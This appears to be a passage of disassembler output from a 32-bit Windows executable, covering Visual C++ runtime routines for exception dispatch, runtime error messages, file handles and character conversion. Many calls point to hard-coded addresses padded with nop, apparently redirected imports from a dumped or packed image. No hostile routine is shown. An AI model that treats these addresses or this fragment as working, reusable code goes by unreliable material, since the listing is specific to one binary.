eax jz short loc_423C87 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423C8D loc_423C87: ; CODE XREF: ___:00423C6Ej ; ___:00423C79j or byte ptr [esi+4], 40h jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C8D: ; CODE XREF: ___:00423C85j cmp eax, 3 jnz short loc_423C9C or byte ptr [esi+4], 8 jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C98: ; CODE XREF: ___:00423C49j or byte ptr [esi+4], 80h loc_423C9C: ; CODE XREF: ___:00423C8Bj ; ___:00423C90j ... inc ebx cmp ebx, 3 jl short loc_423C3D push dword_4DD140 nop call near ptr 2630AB5h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CC0 proc near ; DATA XREF: sub_4228FD+Ao ; sub_422A2C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423D60 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_423CF3: ; CODE XREF: sub_423CC0+90j cmp esi, 0FFFFFFFFh jz short loc_423D59 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423D47 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423D47 js short loc_423D52 mov edi, [ebx+8] push ebx call sub_41D550 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D592 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D626 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423D47: ; CODE XREF: sub_423CC0+40j ; sub_423CC0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_423CF3 ; --------------------------------------------------------------------------- loc_423D52: ; CODE XREF: sub_423CC0+54j mov eax, 0 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D59: ; CODE XREF: sub_423CC0+36j mov eax, 1 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D60: ; CODE XREF: sub_423CC0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D592 add esp, 8 pop ebp mov eax, 1 loc_423D75: ; CODE XREF: sub_423CC0+97j ; sub_423CC0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423CC0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D592 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p mov eax, dword_4DBE3C cmp eax, 1 jz short loc_423DAF test eax, eax jnz short locret_423DD0 cmp dword_43AE44, 1 jnz short locret_423DD0 loc_423DAF: ; CODE XREF: sub_423D98+8j push 0FCh call sub_423DD1 mov eax, dword_4DBFA8 pop ecx test eax, eax jz short loc_423DC5 call eax loc_423DC5: ; CODE XREF: sub_423D98+29j push 0FFh call sub_423DD1 pop ecx locret_423DD0: ; CODE XREF: sub_423D98+Cj ; sub_423D98+15j retn sub_423D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p ; sub_423D98+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43D4D8 loc_423DE4: ; CODE XREF: sub_423DD1+20j cmp edx, [eax] jz short loc_423DF3 add eax, 8 inc ecx cmp eax, offset off_43D568 jl short loc_423DE4 loc_423DF3: ; CODE XREF: sub_423DD1+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43D4D8[esi] jnz loc_423F21 mov eax, dword_4DBE3C cmp eax, 1 jz loc_423EFB test eax, eax jnz short loc_423E24 cmp dword_43AE44, 1 jz loc_423EFB loc_423E24: ; CODE XREF: sub_423DD1+44j cmp edx, 0FCh jz loc_423F21 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2680000h nop test eax, eax jnz short loc_423E5B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C890 pop ecx pop ecx loc_423E5B: ; CODE XREF: sub_423DD1+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B9C0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423E9E lea eax, [ebp+var_1A4] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BFD0 add esp, 10h loc_423E9E: ; CODE XREF: sub_423DD1+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C890 lea eax, [ebp+var_A0] push edi push eax call sub_41C8A0 lea eax, [ebp+var_A0] push offset asc_427BF0 ; "\n\n" push eax call sub_41C8A0 push off_43D4DC[esi] lea eax, [ebp+var_A0] push eax call sub_41C8A0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_425029 add esp, 2Ch pop edi jmp short loc_423F21 ; --------------------------------------------------------------------------- loc_423EFB: ; CODE XREF: sub_423DD1+3Cj ; sub_423DD1+4Dj lea eax, [ebp+arg_0] lea esi, off_43D4DC[esi] push 0 push eax push dword ptr [esi] call sub_41B9C0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 263083Fh push eax nop call near ptr 2720000h loc_423F21: ; CODE XREF: sub_423DD1+2Ej ; sub_423DD1+59j ... pop esi leave retn sub_423DD1 endp ; =============== S U B R O U T I N E ======================================= sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DD040 loc_423F33: ; CODE XREF: sub_423F24+48j mov eax, [ecx] test eax, eax jz short loc_423F70 lea edx, [eax+100h] loc_423F3F: ; CODE XREF: sub_423F24+28j cmp eax, edx jnb short loc_423F5F test byte ptr [eax+4], 1 jz short loc_423F4E add eax, 8 jmp short loc_423F3F ; --------------------------------------------------------------------------- loc_423F4E: ; CODE XREF: sub_423F24+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_423FB3 loc_423F5F: ; CODE XREF: sub_423F24+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DD140 jl short loc_423F33 jmp short loc_423FB3 ; --------------------------------------------------------------------------- loc_423F70: ; CODE XREF: sub_423F24+13j mov esi, 100h push esi call sub_41BEB5 test eax, eax pop ecx jz short loc_423FB3 add dword_4DD140, 20h lea ecx, ds:4DD040h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423F96: ; CODE XREF: sub_423F24+88j cmp eax, edx jnb short loc_423FAE and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423F96 ; --------------------------------------------------------------------------- loc_423FAE: ; CODE XREF: sub_423F24+74j shl edi, 5 mov ebx, edi loc_423FB3: ; CODE XREF: sub_423F24+39j ; sub_423F24+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423F24 endp ; =============== S U B R O U T I N E ======================================= sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 push edi jnb short loc_424019 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_424019 cmp dword_43AE44, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_42400F sub eax, 0 jz short loc_424006 dec eax jz short loc_424001 dec eax jnz short loc_42400F push ebx push 0FFFFFFF4h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FB9+3Ej push ebx push 0FFFFFFF5h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424006: ; CODE XREF: sub_423FB9+3Bj push ebx push 0FFFFFFF6h loc_424009: ; CODE XREF: sub_423FB9+46j ; sub_423FB9+4Bj call near ptr 2620D20h nop loc_42400F: ; CODE XREF: sub_423FB9+36j ; sub_423FB9+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_42402D ; --------------------------------------------------------------------------- loc_424019: ; CODE XREF: sub_423FB9+Cj ; sub_423FB9+28j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_42402D: ; CODE XREF: sub_423FB9+5Ej pop edi pop esi retn sub_423FB9 endp ; =============== S U B R O U T I N E ======================================= sub_424030 proc near ; CODE XREF: sub_41E312+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DD140 push edi jnb short loc_424093 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DD040h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_424093 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_424093 cmp dword_43AE44, 1 jnz short loc_424089 xor eax, eax sub ecx, eax jz short loc_424080 dec ecx jz short loc_42407B dec ecx jnz short loc_424089 push eax push 0FFFFFFF4h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_42407B: ; CODE XREF: sub_424030+41j push eax push 0FFFFFFF5h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_424030+3Ej push eax push 0FFFFFFF6h loc_424083: ; CODE XREF: sub_424030+49j ; sub_424030+4Ej nop call near ptr 2620D20h loc_424089: ; CODE XREF: sub_424030+38j ; sub_424030+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4240A7 ; --------------------------------------------------------------------------- loc_424093: ; CODE XREF: sub_424030+Cj ; sub_424030+2Aj ... and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_4240A7: ; CODE XREF: sub_424030+61j pop edi pop esi retn sub_424030 endp ; =============== S U B R O U T I N E ======================================= sub_4240AA proc near ; CODE XREF: sub_41E312+32p ; sub_41E312+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_4240D2 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4240D2 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4240D2: ; CODE XREF: sub_4240AA+Aj ; sub_4240AA+23j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh retn sub_4240AA endp ; =============== S U B R O U T I N E ======================================= sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_424130 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_424130 push eax call sub_4240AA pop ecx push eax nop call near ptr 262082Dh test eax, eax jnz short loc_424125 nop call near ptr 269086Bh jmp short loc_424127 ; --------------------------------------------------------------------------- loc_424125: ; CODE XREF: sub_4240E7+34j xor eax, eax loc_424127: ; CODE XREF: sub_4240E7+3Cj test eax, eax jz short locret_42413D mov dword_4DBDE0, eax loc_424130: ; CODE XREF: sub_4240E7+Aj ; sub_4240E7+22j mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh locret_42413D: ; CODE XREF: sub_4240E7+42j retn sub_4240E7 endp ; =============== S U B R O U T I N E ======================================= sub_42413E proc near ; DATA XREF: ___:00429020o mov eax, dword_4DD020 push esi push 14h test eax, eax pop esi jnz short loc_424152 mov eax, 200h jmp short loc_424158 ; --------------------------------------------------------------------------- loc_424152: ; CODE XREF: sub_42413E+Bj cmp eax, esi jge short loc_42415D mov eax, esi loc_424158: ; CODE XREF: sub_42413E+12j mov dword_4DD020, eax loc_42415D: ; CODE XREF: sub_42413E+16j push 4 push eax call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 4 push esi mov dword_4DD020, esi call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 1Ah call sub_41E2C9 pop ecx loc_424191: ; CODE XREF: sub_42413E+30j ; sub_42413E+49j xor ecx, ecx mov eax, offset off_43D568 loc_424198: ; CODE XREF: sub_42413E+6Ej mov edx, dword_4DC01C mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43D7E8 jl short loc_424198 xor edx, edx mov ecx, offset dword_43D578 loc_4241B5: ; CODE XREF: sub_42413E+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DD040[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4241D2 test eax, eax jnz short loc_4241D5 loc_4241D2: ; CODE XREF: sub_42413E+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4241D5: ; CODE XREF: sub_42413E+92j add ecx, 20h inc edx cmp ecx, offset dword_43D5D8 jl short loc_4241B5 pop esi retn sub_42413E endp ; =============== S U B R O U T I N E ======================================= sub_4241E3 proc near ; DATA XREF: ___:00429030o ; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES call sub_41E487 cmp byte_4DBE1C, 0 jz short locret_4241F6 jmp loc_425163 ; --------------------------------------------------------------------------- locret_4241F6: ; CODE XREF: sub_4241E3+Cj retn sub_4241E3 endp ; =============== S U B R O U T I N E ======================================= sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p ; sub_41FE2A+6Cp ... arg_0 = dword ptr 4 inc dword_4DBFAC push 1000h call sub_41BEB5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_424220 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_424231 ; --------------------------------------------------------------------------- loc_424220: ; CODE XREF: sub_4241F7+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_424231: ; CODE XREF: sub_4241F7+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4241F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_424261 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42426C ; --------------------------------------------------------------------------- loc_424261: ; CODE XREF: sub_42423B+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42426C: ; CODE XREF: sub_42423B+24j mov eax, 8000h test ecx, eax jnz short loc_424286 test ch, 40h jnz short loc_424282 cmp dword_4DBFF8, eax jz short loc_424286 loc_424282: ; CODE XREF: sub_42423B+3Dj or [ebp+var_1], 80h loc_424286: ; CODE XREF: sub_42423B+38j ; sub_42423B+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4242BE dec eax jz short loc_4242B5 dec eax jz short loc_4242AC loc_424297: ; CODE XREF: sub_42423B+9Fj ; sub_42423B+E8j ... mov dword_4DBDDC, 16h mov dword_4DBDE0, ebx jmp loc_4244D1 ; --------------------------------------------------------------------------- loc_4242AC: ; CODE XREF: sub_42423B+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242B5: ; CODE XREF: sub_42423B+57j mov [ebp+var_C], 40000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242BE: ; CODE XREF: sub_42423B+54j mov [ebp+var_C], 80000000h loc_4242C5: ; CODE XREF: sub_42423B+78j ; sub_42423B+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4242F3 cmp eax, 20h jz short loc_4242EA cmp eax, 30h jz short loc_4242E1 cmp eax, 40h jnz short loc_424297 mov [ebp+var_10], esi jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242E1: ; CODE XREF: sub_42423B+9Aj mov [ebp+var_10], 2 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242EA: ; CODE XREF: sub_42423B+95j mov [ebp+var_10], 1 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242F3: ; CODE XREF: sub_42423B+90j mov [ebp+var_10], ebx loc_4242F6: ; CODE XREF: sub_42423B+A4j ; sub_42423B+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_424340 jz short loc_42433B cmp ecx, ebx jz short loc_42433B cmp ecx, edi jz short loc_424332 cmp ecx, 200h jz short loc_424359 cmp ecx, 300h jnz loc_424297 mov [ebp+var_8], 2 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424332: ; CODE XREF: sub_42423B+D8j mov [ebp+var_8], 4 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_42433B: ; CODE XREF: sub_42423B+D0j ; sub_42423B+D4j mov [ebp+var_8], esi jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424340: ; CODE XREF: sub_42423B+CEj cmp ecx, 500h jz short loc_424362 cmp ecx, 600h jz short loc_424359 cmp ecx, edx jz short loc_424362 jmp loc_424297 ; --------------------------------------------------------------------------- loc_424359: ; CODE XREF: sub_42423B+E0j ; sub_42423B+113j mov [ebp+var_8], 5 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424362: ; CODE XREF: sub_42423B+10Bj ; sub_42423B+117j mov [ebp+var_8], 1 loc_424369: ; CODE XREF: sub_42423B+F5j ; sub_42423B+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_424388 mov ecx, dword_4DBDE4 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_424388 push 1 pop esi loc_424388: ; CODE XREF: sub_42423B+138j ; sub_42423B+148j test al, 40h jz short loc_424396 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_424396: ; CODE XREF: sub_42423B+14Fj test ah, 10h jz short loc_42439D or esi, edi loc_42439D: ; CODE XREF: sub_42423B+15Ej test al, 20h jz short loc_4243A9 or esi, 8000000h jmp short loc_4243B3 ; --------------------------------------------------------------------------- loc_4243A9: ; CODE XREF: sub_42423B+164j test al, 10h jz short loc_4243B3 or esi, 10000000h loc_4243B3: ; CODE XREF: sub_42423B+16Cj ; sub_42423B+170j call sub_423F24 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_4243D4 and dword_4DBDE0, 0 mov dword_4DBDDC, 18h jmp short loc_424412 ; --------------------------------------------------------------------------- loc_4243D4: ; CODE XREF: sub_42423B+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 2730000h mov esi, eax cmp esi, edi jz short loc_424405 push esi nop call near ptr 2630000h test eax, eax jnz short loc_424419 push esi nop call near ptr 2670770h loc_424405: ; CODE XREF: sub_42423B+1B6j nop call near ptr 269086Bh push eax call sub_420C7F pop ecx loc_424412: ; CODE XREF: sub_42423B+197j mov eax, edi jmp loc_4244EF ; --------------------------------------------------------------------------- loc_424419: ; CODE XREF: sub_42423B+1C1j cmp eax, 2 jnz short loc_424424 or [ebp+var_1], 40h jmp short loc_42442D ; --------------------------------------------------------------------------- loc_424424: ; CODE XREF: sub_42423B+1E1j cmp eax, 3 jnz short loc_42442D or [ebp+var_1], 8 loc_42442D: ; CODE XREF: sub_42423B+1E7j ; sub_42423B+1ECj push esi push ebx call sub_423FB9 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_4244D6 test al, 80h jz short loc_4244D6 test byte ptr [ebp+arg_4], 2 jz short loc_4244D6 push 2 push 0FFFFFFFFh push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_42448B cmp dword_4DBDE0, 83h jz short loc_4244D6 jmp short loc_4244CA ; --------------------------------------------------------------------------- loc_42448B: ; CODE XREF: sub_42423B+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F9BC add esp, 0Ch test eax, eax jnz short loc_4244B8 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_4244B8 push [ebp+var_10] push ebx call sub_4251BB pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4244CA loc_4244B8: ; CODE XREF: sub_42423B+265j ; sub_42423B+26Bj push 0 push 0 push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_4244D6 loc_4244CA: ; CODE XREF: sub_42423B+24Ej ; sub_42423B+27Bj push ebx call sub_41E312 pop ecx loc_4244D1: ; CODE XREF: sub_42423B+6Cj or eax, 0FFFFFFFFh jmp short loc_4244EF ; --------------------------------------------------------------------------- loc_4244D6: ; CODE XREF: sub_42423B+221j ; sub_42423B+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_4244ED test byte ptr [ebp+arg_4], 8 jz short loc_4244ED mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_4244ED: ; CODE XREF: sub_42423B+29Fj ; sub_42423B+2A5j mov eax, ebx loc_4244EF: ; CODE XREF: sub_42423B+1D9j ; sub_42423B+299j pop edi pop esi pop ebx leave retn sub_42423B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep ; sub_420988+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBFB4 xor ebx, ebx cmp eax, ebx jnz short loc_424563 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi nop call near ptr 2610000h test eax, eax jz short loc_424541 mov eax, esi jmp short loc_42455E ; --------------------------------------------------------------------------- loc_424541: ; CODE XREF: sub_4244F4+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push ebx nop call near ptr 2620000h test eax, eax jz loc_424629 push 2 pop eax loc_42455E: ; CODE XREF: sub_4244F4+4Bj mov dword_4DBFB4, eax loc_424563: ; CODE XREF: sub_4244F4+2Fj cmp eax, 2 jnz short loc_42458C mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_424574 mov eax, dword_4DBE84 loc_424574: ; CODE XREF: sub_4244F4+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 2620000h nop jmp loc_42462B ; --------------------------------------------------------------------------- loc_42458C: ; CODE XREF: sub_4244F4+72j cmp eax, 1 jnz loc_424629 cmp [ebp+arg_10], ebx jnz short loc_4245A2 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_4245A2: ; CODE XREF: sub_4244F4+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2710000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_424629 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BF70 add esp, 0Ch jmp short loc_4245F8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_4245F8: ; CODE XREF: sub_4244F4+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_424629 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call near ptr 2710000h nop cmp eax, ebx jz short loc_424629 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 2610000h nop jmp short loc_42462B ; --------------------------------------------------------------------------- loc_424629: ; CODE XREF: sub_4244F4+61j ; sub_4244F4+9Bj ... xor eax, eax loc_42462B: ; CODE XREF: sub_4244F4+93j ; sub_4244F4+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4244F4 endp ; =============== S U B R O U T I N E ======================================= sub_42463D proc near ; CODE XREF: sub_41FE2A+61p ; sub_420CE6+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jb short loc_42464C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42464C: ; CODE XREF: sub_42463D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_42463D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p ; sub_41FF3F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_42466F pop ebp retn ; --------------------------------------------------------------------------- loc_42466F: ; CODE XREF: sub_424663+8j cmp dword_4DBE84, 0 jnz short loc_42468A mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_4246BC push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42468A: ; CODE XREF: sub_424663+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43D084 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DBE94 call near ptr 28410A4h nop test eax, eax jz short loc_4246BC cmp [ebp+arg_0], 0 jz short loc_4246C9 loc_4246BC: ; CODE XREF: sub_424663+1Ej ; sub_424663+51j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh loc_4246C9: ; CODE XREF: sub_424663+57j pop ebp retn sub_424663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4246EE cmp [ebp+arg_8], ebx jz short loc_4246EE mov al, [esi] cmp al, bl jnz short loc_4246F4 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4246EE mov [eax], bx loc_4246EE: ; CODE XREF: sub_4246CB+Cj ; sub_4246CB+11j ... xor eax, eax loc_4246F0: ; CODE XREF: sub_4246CB+42j ; sub_4246CB+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4246F4: ; CODE XREF: sub_4246CB+17j cmp dword_4DBE84, ebx jnz short loc_42470F mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_42470A movzx ax, al mov [ecx], ax loc_42470A: ; CODE XREF: sub_4246CB+36j ; sub_4246CB+C0j push 1 pop eax jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42470F: ; CODE XREF: sub_4246CB+2Fj mov ecx, off_43CE78 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_42476C mov eax, dword_43D084 cmp eax, 1 jle short loc_424753 cmp [ebp+arg_8], eax jl short loc_42475D xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DBE94 call near ptr 2710000h nop test eax, eax mov eax, dword_43D084 jnz short 